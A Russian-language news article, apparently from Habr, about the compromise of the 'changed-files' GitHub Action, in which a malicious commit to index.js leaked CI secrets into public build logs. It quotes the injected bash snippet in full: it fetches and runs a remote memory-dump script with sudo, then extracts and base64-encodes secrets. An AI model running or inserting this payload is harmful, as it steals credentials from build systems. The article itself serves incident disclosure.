Как стать автором
Обновить

Выявлена компрометация обработчика changed-files в GitHub Actions, используемого в более 23 тыс. репозиториев

Время на прочтение2 мин
Количество просмотров3.9K

Исследователи по ИБ из StepSecurity обнаружили компрометацию в GitHub Actions проекта обработчика changed‑files. Это открытое решение, позволяющее автоматически запускать сценарии сборки и тестирования кодовых баз при срабатывании определённых событий, таких как поступление push‑запроса, создание релизов, открытие/закрытие issue и открытие/закрытие pull‑запросов. Обработчик changed‑files используется в более чем 23 тыс. репозиториев, применяющих GitHub Actions в инфраструктуре непрерывной интеграции, для отслеживания изменения файлов и каталогов.

По информации OpenNET, в репозиторий changed‑files было подставлено изменение 0e58ed8, добавляющее в файл index.js вредоносный код под предлогом переработки работы с файлами блокировок. При выполнении обработчика changed‑files вредоносная вставка собирала присутствующие в сборочном окружении ключи доступа и прочие конфиденциальные данные. В качестве канала для передачи информации за пределы сборочного окружения использовался вывод записей в сборочный лог, который не в приватных репозиториях доступен публично.

Всем разработчикам, пользовавшимся changed-files, требуется незамедлительно провести аудит своей инфраструктуры и проверить публичные логи систем интеграции на базе GitHub Actions на предмет утечки конфиденциальных данных. В случае использования скомпрометированной версии рекомендуется поменять ключи и провести анализ возможной компрометации своих систем. В настоящее время GitHub уже заблокировал репозиторий changed-files, но до этого около 14 часов вредоносные обновления были доступны для загрузки. Понять наличие вредоносного изменения можно по упоминанию bash в файле index.js.

if [[ "$OSTYPE" == "linux-gnu" ]]; then
  B64_BLOB=`curl -sSf https://gist.githubusercontent.com/nikitastupin/30e525b776c409e03c2d6f328f254965/raw/memdump.py | sudo python3 | tr -d '\0' | grep -aoE '"[^"]+":\{"value":"[^"]*","isSecret":true\}' | sort -u | base64 -w 0 | base64 -w 0`
  echo $B64_BLOB
else
  exit 0
fi

Коммит был размещён от имени бота renovate, предназначенного для автоматизации операций по обновлению зависимостей. Скорее всего этот бот использовался для запутывания следов, так как коммит был помечен как неверифицированный и не принадлежащий ни к одной ветке в репозитории changed‑files. Подобные коммиты могут свидетельствовать о добавлении не в основной репозиторий, а в его форк. Например, при прямом обращении через основной репозиторий в GitHub коммиты из форков остаются видимыми.

Примечательно, что атакующий добился добавления вредоносного коммита почти во все git‑теги и релизы проекта changed‑files, без отображения в git‑логе коммитов в соответствующих ветках. В качестве предположений, как он мог этого добиться, упоминалось создание форка репозитория, размещения в нём вредоносного кода и обновления всех тегов в родительском репозитории с учётом нового SHA‑хэша форка. По предположению другого разработчика, атакующий добавил коммит в ветку main, перенаправил все теги на данную ветку, после чего откатил ветку main на предыдущий коммит.

Теги:
Хабы:
Всего голосов 5: ↑5 и ↓0+9
Комментарии9

Другие новости

Истории

Работа

Ближайшие события

19 марта – 28 апреля
Экспедиция «Рэйдикс»
Нижний НовгородЕкатеринбургНовосибирскВладивостокИжевскКазаньТюменьУфаИркутскЧелябинскСамараХабаровскКрасноярскОмск
22 апреля
VK Видео Meetup 2025
МоскваОнлайн
23 апреля
Meetup DevOps 43Tech
Санкт-ПетербургОнлайн
24 апреля
VK Go Meetup 2025
Санкт-ПетербургОнлайн
25 – 26 апреля
IT-конференция Merge Tatarstan 2025
Казань
14 мая
LinkMeetup
Москва
20 – 22 июня
Летняя айти-тусовка Summer Merge
Ульяновская область